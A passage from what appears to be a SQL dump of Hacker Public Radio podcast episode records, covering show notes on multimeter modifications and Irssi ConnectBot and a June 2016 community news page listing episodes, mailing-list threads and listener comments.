targeting rifles running Linux have poor security <a href=\"https://thenextweb.com/gadgets/2015/07/29/i-shot-the-sheriff-my-hacked-rifle-shot-the-deputy/\">https://thenextweb.com/gadgets/2015/07/29/i-shot-the-sheriff-my-hacked-rifle-shot-the-deputy/</a>\r\n</li>\r\n<li>FCC bans use of FOSS software on routers <a href=\"https://www.infoq.com/news/2015/07/FCC-Blocks-Open-Source\">https://www.infoq.com/news/2015/07/FCC-Blocks-Open-Source</a>\r\n</li>\r\n<li>Android vulnerable to attack from a malicious MMS <a href=\"https://www.linuxinsider.com/story/82315.html?rss=1\">https://www.linuxinsider.com/story/82315.html?rss=1</a>\r\n</li>\r\n<li>naturally occurring reactor found in African mine <a href=\"https://interestingengineering.com/naturally-occurring-nuclear-reactor-found-in-oklo-africa\">https://interestingengineering.com/naturally-occurring-nuclear-reactor-found-in-oklo-africa</a>\r\n</li>\r\n<li>Unpatched versions of Firefox allow attackers access to your passwords <a href=\"https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/\">https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/</a>\r\n</li>\r\n</ul>',131,30,1,'CC-BY-SA','TiT Radio,news,commentary',0,0,1),
(1858,'2015-09-16','Multimeter Mod\'s Part 2',1379,'NYbill finishes modification two to his multimeter. ','<p>\r\nNYbill talks about the second modification to his UNI-T UT61E multimeter. In this episode the switch and auto-timeout circuitry is installed.\r\n</p>\r\n<p>\r\nThis is a follow up to Multimeter Mod\'s Part 1:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1828\">https://hackerpublicradio.org/eps.php?id=1828</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nA video of Asphere\'s 3D printer in action: \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/qxqmhwm\">https://tinyurl.com/qxqmhwm</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nPictures for the episode:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/hpr-multimeter-mod-s-part-2/\">https://media.gunmonkeynet.net/u/nybill/collection/hpr-multimeter-mod-s-part-2/</a>\r\n</li>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/m/quick-sketch/\">https://media.gunmonkeynet.net/u/nybill/m/quick-sketch/</a>\r\n</li>\r\n</ul>',235,103,1,'CC-BY-SA','multimeter,hack,maker,mod,modification,improve,electronics,blender,3D printing',0,0,1),
(1869,'2015-10-01','Irssi Connectbot',848,'NYbill talks about setting up Irssi Connectbot on a Android phone to access IRC.','<p>\r\nNYbill talks about setting up Irssi Connectbot on a Android phone to access IRC.\r\n</p>\r\n<p>\r\n<a href=\"https://f-droid.org/repository/browse/?fdid=org.woltage.irssiconnectbot\">https://f-droid.org/repository/browse/?fdid=org.woltage.irssiconnectbot</a>\r\n</p>\r\n<p>\r\nI don\'t know him. But, thanks for this handy guide on setting up key pairs with Connectbot, Michael:\r\n</p>\r\n<p>\r\n<a href=\"https://michaelchelen.net/0f3e/android-connectbot-ssh-key-auth-howto/\">https://michaelchelen.net/0f3e/android-connectbot-ssh-key-auth-howto/</a>\r\n</p>',235,0,0,'CC-BY-SA','Android,phone,IRC,Irssi,Irssi ConnectBot,ssh',0,0,1),
(2066,'2016-07-04','HPR Community News for June 2016',5832,'Dave and Ken review the last month without talking about brexit much','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=337\" target=\"_blank\">handsome_pirate</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=339\" target=\"_blank\">Todd Mitchell</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2043\" target=\"_blank\">2043</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-06-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2043\" target=\"_blank\">My First Beer Podcast</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2044\" target=\"_blank\">2044</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-06-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2044\" target=\"_blank\">Bring on the Power!</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2045\" target=\"_blank\">2045</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-06-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2045\" target=\"_blank\">Some other Bash tips</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2046\" target=\"_blank\">2046</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-06-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2046\" target=\"_blank\">HPR Community News for May 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2047\" target=\"_blank\">2047</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-06-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2047\" target=\"_blank\">Neo Fetch 1.5</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2048\" target=\"_blank\">2048</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-06-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2048\" target=\"_blank\">The Hubot chat-bot</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=277\" target=\"_blank\">John Duarte</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2049\" target=\"_blank\">2049</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-06-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2049\" target=\"_blank\">My Raspberry Pi Home Server</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2050\" target=\"_blank\">2050</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-06-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2050\" target=\"_blank\">Developing Black &amp; White Film</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=337\" target=\"_blank\">handsome_pirate</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2051\" target=\"_blank\">2051</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-06-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2051\" target=\"_blank\">My Linux Journey</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2052\" target=\"_blank\">2052</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-06-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2052\" target=\"_blank\">A Nerdy Conversation With Linden About Technology</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2053\" target=\"_blank\">2053</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-06-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2053\" target=\"_blank\">My 2nd HPR Beer Podcast</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2054\" target=\"_blank\">2054</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-06-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2054\" target=\"_blank\">Blather Configuration Part 1: Desktop Management</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2055\" target=\"_blank\">2055</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-06-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2055\" target=\"_blank\">GNU Nano Editor</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2056\" target=\"_blank\">2056</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-06-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2056\" target=\"_blank\">Interview with a young hacker</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2057\" target=\"_blank\">2057</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-06-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2057\" target=\"_blank\">dodddummy on oats</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2058\" target=\"_blank\">2058</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-06-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2058\" target=\"_blank\">My 14th Beer Podcast</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2059\" target=\"_blank\">2059</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-06-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2059\" target=\"_blank\">More Tech, Less Magic</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=339\" target=\"_blank\">Todd Mitchell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2060\" target=\"_blank\">2060</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-06-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2060\" target=\"_blank\">Introduction to sed - part 5</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2061\" target=\"_blank\">2061</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-06-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2061\" target=\"_blank\">Handwriting</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2062\" target=\"_blank\">2062</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-06-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2062\" target=\"_blank\">Now The Chips Are Definitely Down</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2063\" target=\"_blank\">2063</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-06-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2063\" target=\"_blank\">My 3rd HPR Beer Podcast</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2064\" target=\"_blank\">2064</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-06-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2064\" target=\"_blank\">Test-Driving Devuan</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-05-07 17:17:26 +0200<br/>\n        <em>Subject:</em> HPR Policy Change - HTML default in RSS Feed<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1197\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1197</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-06-08 21:58:35 +0200<br/>\n        <em>Subject:</em> HPR on Google Play Podcast<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1239\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1239</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-06-11 12:07:35 +0200<br/>\n        <em>Subject:</em> Fwd: Just hit 1000 IA uploads<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1245\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1245</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2016-06-11 19:52:08 +0100<br/>\n        <em>Subject:</em> Changes to series and the series.php page<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1248\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1248</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-06-13 11:41:35 +0200<br/>\n        <em>Subject:</em> Book Club<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1250\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1250</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> sigflup synasloble &lt;pantsbutt@...&gt;<br/>\n        <em>Date:</em> 2016-06-13 08:30:58 -0500<br/>\n        <em>Subject:</em> dos?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1251\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1251</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-06-15 16:23:59 +0200<br/>\n        <em>Subject:</em> Changes to the website<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1253\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1253</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> &quot;Thaj A. Sara&quot; &lt;thajasara@...&gt;<br/>\n        <em>Date:</em> 2016-06-15 15:17:37 -0400<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 93, Issue 5<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1255\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1255</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-06-16 08:52:53 +0200<br/>\n        <em>Subject:</em> Re: Changes to the website<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1256\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1256</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Clinton Roy &lt;clinton.roy@...&gt;<br/>\n        <em>Date:</em> 2016-06-17 09:37:15 +1000<br/>\n        <em>Subject:</em> comments rss feed<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1257\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1257</a><br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-06-20 12:37:02 +0200<br/>\n        <em>Subject:</em> Live @ PodcastAwards.com on June 26th @ 8pm EST<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1262\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1262</a><br/>\n        <em>Messages:</em> 7<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2016-06-27 19:40:22 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2016-07-02T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1269\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1269</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> &quot;Kevin O&#39;Brien&quot; &lt;zwilnik@...&gt;<br/>\n        <em>Date:</em> 2016-06-27 19:17:27 -0400<br/>\n        <em>Subject:</em> Uploading not working?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1270\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1270</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-06-28 16:04:08 +0200<br/>\n        <em>Subject:</em> Upload not possible<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1271\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1271</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Clinton Roy &lt;clinton.roy@...&gt;<br/>\n        <em>Date:</em> 2016-06-30 14:09:02 +1000<br/>\n        <em>Subject:</em> World map of contributors?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1273\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1273</a><br/>\n        <em>Messages:</em> 4<br/></li>\n</ol>\nTotal messages this month: 38<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 38 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1976#comments\" target=\"_blank\">hpr1976</a></strong>\n(2016-02-29) \"<em>Introduction to sed - part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1976#5\" target=\"_blank\">Comment 5</a>:\nFrank on 2016-06-01:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1976#6\" target=\"_blank\">Comment 6</a>:\nFrank on 2016-06-03:\n\"LO and SED\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1976#7\" target=\"_blank\">Comment 7</a>:\nDave Morriss on 2016-06-05:\n\"Regex in Libre Office\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2013#comments\" target=\"_blank\">hpr2013</a></strong>\n(2016-04-20) \"<em>Parsing XML in Python with Xmltodict</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2013#3\" target=\"_blank\">Comment 3</a>:\nLuiz Rodrigo on 2016-06-28:\n\"THANKS!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2028#comments\" target=\"_blank\">hpr2028</a></strong>\n(2016-05-11) \"<em>Some basic info on alarm systems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=332\" target=\"_blank\">schism</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2028#6\" target=\"_blank\">Comment 6</a>:\nBill on 2016-06-03:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2028#7\" target=\"_blank\">Comment 7</a>:\nFrank on 2016-06-03:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2029#comments\" target=\"_blank\">hpr2029</a></strong>\n(2016-05-12) \"<em>The DSO138 Oscilloscope Kit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2029#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2016-06-04:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2029#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-06-05:\n\"Pre-built kit\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2034#comments\" target=\"_blank\">hpr2034</a></strong>\n(2016-05-19) \"<em>Frank\'s Five Seed Bread</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2034#4\" target=\"_blank\">Comment 4</a>:\nFrank on 2016-06-01:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2035#comments\" target=\"_blank\">hpr2035</a></strong>\n(2016-05-20) \"<em>Building Community</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2035#6\" target=\"_blank\">Comment 6</a>:\nFiftyOneFifty on 2016-06-17:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2038#comments\" target=\"_blank\">hpr2038</a></strong>\n(2016-05-25) \"<em>Attempting to fix a plastic boat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2038#4\" target=\"_blank\">Comment 4</a>:\nKathy scogna on 2016-06-03:\n\"Director\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2042#comments\" target=\"_blank\">hpr2042</a></strong>\n(2016-05-31) \"<em>My podcast list</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=116\" target=\"_blank\">janedoc</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2042#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2016-05-31:\n\"Dan Carlin\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2042#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2016-06-01:\n\"Ask Me Another \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2042#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-06-01:\n\"Frank Delaney et al\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2044#comments\" target=\"_blank\">hpr2044</a></strong>\n(2016-06-02) \"<em>Bring on the Power!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2044#1\" target=\"_blank\">Comment 1</a>:\nrocket-dog on 2016-06-07:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2044#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2016-06-11:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2047#comments\" target=\"_blank\">hpr2047</a></strong>\n(2016-06-07) \"<em>Neo Fetch 1.5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2047#1\" target=\"_blank\">Comment 1</a>:\nFiftyOneFifty on 2016-06-07:\n\"Neat little app, thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2049#comments\" target=\"_blank\">hpr2049</a></strong>\n(2016-06-09) \"<em>My Raspberry Pi Home Server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2049#1\" target=\"_blank\">Comment 1</a>:\npitfd on 2016-06-09:\n\"Server Setup\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2049#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2016-06-10:\n\"CenterIM\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2049#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp on 2016-06-11:\n\"CLI word processing\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2049#4\" 